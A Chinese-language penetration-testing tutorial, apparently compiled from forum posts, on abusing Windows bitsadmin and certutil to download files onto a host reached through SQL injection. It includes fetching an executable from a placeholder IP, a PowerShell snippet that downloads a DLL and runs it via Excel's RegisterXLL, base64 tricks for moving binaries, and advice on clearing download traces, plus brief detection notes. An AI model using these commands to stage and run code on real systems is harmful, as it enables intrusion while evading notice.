如果你碰到一個
Sa權限的注入點,你可以執行dos命令,但是你發現站庫分離,數據庫和web不在一個服務器上,而且悲劇的是數據庫服務器又是個內網,這個時候你該怎么辦?
這里就需要用到Bitsadmin來下載東西進去了,在windows08上測試成功了。
一個實例:https://xianzhi.aliyun.com/forum/topic/1654/
1、bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\p.zip
2、bitsadmin /rawreturn /transfer getpayload http://download.sysinternals.com/files/PSTools.zip c:\p.zip
3、bitsadmin /transfer myDownLoadJob /download /priority normal "http://download.sysinternals.com/files/PSTools.zip" "c:\p.zip"
第3條命令帶進度條
4、多條命令
bitsadmin /create myDownloadJob
bitsadmin /addfile myDownloadJob http://download.sysinternals.com/files/PSTools.zip c:\lcx.zip
bitsadmin /resume myDownloadJob
bitsadmin /info myDownloadJob /verbose
bitsadmin /complete myDownloadJob
剛剛逛國外論壇,看到這個命令
certutil -urlcache -split -f http://www.baidu.com/1.rar
window7和2003 都可以用
xp不行
各位老表,可以研究研究這個命令certutil
https://www.t00ls.net/thread-41199-1-1.html
滲透測試中的certutil
0x00 前言
最近在Casey Smith @subTee的twitter上學到了關於certutil的一些利用技巧。本文將結合自己的一些經驗,介紹certutil在滲透測試中的應用,對cmd下downloader的實現方法作補充,總結base64編碼轉換的常用方法。
學習地址:
https://twitter.com/subTee/status/888101536475344896
https://twitter.com/subTee/status/888071631528235010
0x01 簡介
本文將要介紹以下內容:
- certutil.exe在滲透測試中的應用
- downloader常用方法
- base64編碼轉換常用方法
0x02 certutil簡介
用於證書管理
支持xp-win10
更多操作說明見https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx
注:
在之前的文章《域滲透——EFS文件解密》有用過certutil.exe導入證書
0x03 滲透測試中的應用
1、downloader
win2003
certutil -urlcache -split -f http://xx.xx.xx.xx/rh.exe
C:\WINDOWS\system32\Blob0_0.bin
win2008
certutil -urlcache -split -f http://xx.xx.xx.xx/rh.exe c:\\rh.exe
c:\\rh.exe
(1) 保存在當前路徑,文件名稱同URL
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
(2) 保存在當前路徑,指定保存文件名稱
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt
(3) 保存在緩存目錄,名稱隨機
緩存目錄位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
eg:
certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
(4) 支持保存二進制文件
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
注:
使用downloader默認在緩存目錄位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
保存下載的文件副本
清除下載文件副本方法:
方法1: 直接刪除緩存目錄對應文件
如下圖
方法2: 命令行:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
補充:
查看緩存項目:
certutil.exe -urlcache *
如下圖
實際測試:
測試系統安裝Office軟件,下載執行dll對應的powershell代碼如下:
$path="c:\test\msg1.dll"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL($path)
測試如下圖
2、計算文件hash
(1) SHA1
certutil.exe -hashfile msg.dll
(2) SHA256:
certutil.exe -hashfile msg.dll SHA256
(3) MD5:
certutil.exe -hashfile msg.dll MD5
3、base64編碼轉換
(1) base64編碼:
CertUtil -encode InFile OutFile
(2) base64解碼
CertUtil -decode InFile OutFile
注:
編碼后的文件會添加兩處標識信息:
文件頭:
-----BEGIN CERTIFICATE-----
文件尾:
-----END CERTIFICATE-----
如下圖
0x04 downloader常用方法
在之前的文章《滲透技巧——通過cmd上傳文件的N種方法》整理過常用的cmd下downloader方法,相比來說,利用certUtil簡便快捷,但是使用后需要注意清除緩存,路徑如下:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
downloader常用方法如下:
- certUtil
- powershell
- csc
- vbs
- JScript
- hta
- bitsadmin
- wget
- debug
- ftp
- ftfp
0x05 base64編碼轉換常用方法
在編寫腳本操作二進制文件時,常常會因為不可見字符報錯,所以通常會選擇先對二進制文件作base64編碼再操作,最后通過解碼還原出二進制文件。
所以在此整理一下常用不同開發工具對應的base64編碼轉換方式
1、powershell
base64編碼:
$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content base64.txt -Value $Base64Payload
base64解碼:
$Base64Bytes = Get-Content ("base64.txt")
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
[System.IO.File]::WriteAllBytes("calc.exe",$PEBytes)
2、C SHARP(c#)
base64編碼:
using System.IO;
byte[] AsBytes = File.ReadAllBytes(@"C:\windows\system32\calc.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\test\base64.txt");
sw.Write(AsBase64String);
sw.Close();
base64解碼:
using System.IO;
String AsString = File.ReadAllText(@"C:\test\base64.txt");
byte[] bytes = Convert.FromBase64String(AsString);
FileStream fs = new FileStream(@"C:\test\calc.exe", FileMode.Create);
fs.Write(bytes, 0, bytes.Length);
fs.Flush();
fs.Close();
注:
在之前的文章《滲透技巧——通過cmd上傳文件的N種方法》存在兩處bug
“ 解密base64文件並生成exe的方法: ”
其中的powershell代碼和c#代碼存在bug,修正的代碼以本文為准
3、js
base64解碼:
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile("C:\\test\\base64.txt",1);
base64string=f.ReadAll();
f.Close();
enc = new ActiveXObject("System.Text.ASCIIEncoding");
length = enc.GetByteCount_2(base64string);
ba = enc.GetBytes_4(base64string);
transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
s=new ActiveXObject("ADODB.Stream");
s.Type=1;
s.Open();
s.Write(ba);
s.SaveToFile("C:\\test\\calc.exe",2);
4、certutil
base64編碼:
CertUtil -encode InFile OutFile
base64解碼:
CertUtil -decode InFile OutFile
注:
編碼后的文件會添加兩處標識信息:
文件頭:
—–BEGIN CERTIFICATE—–
文件尾:
—–END CERTIFICATE—–
0x06 檢測downloader
查看利用certUtil下載文件的緩存記錄:
certutil.exe -urlcache *
緩存文件位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
0x07 小結
本文介紹了certutil在滲透測試中的應用,詳細介紹利用certutil作downloader的實現方法和檢測方法,最后總結了base64編碼轉換的常用方法。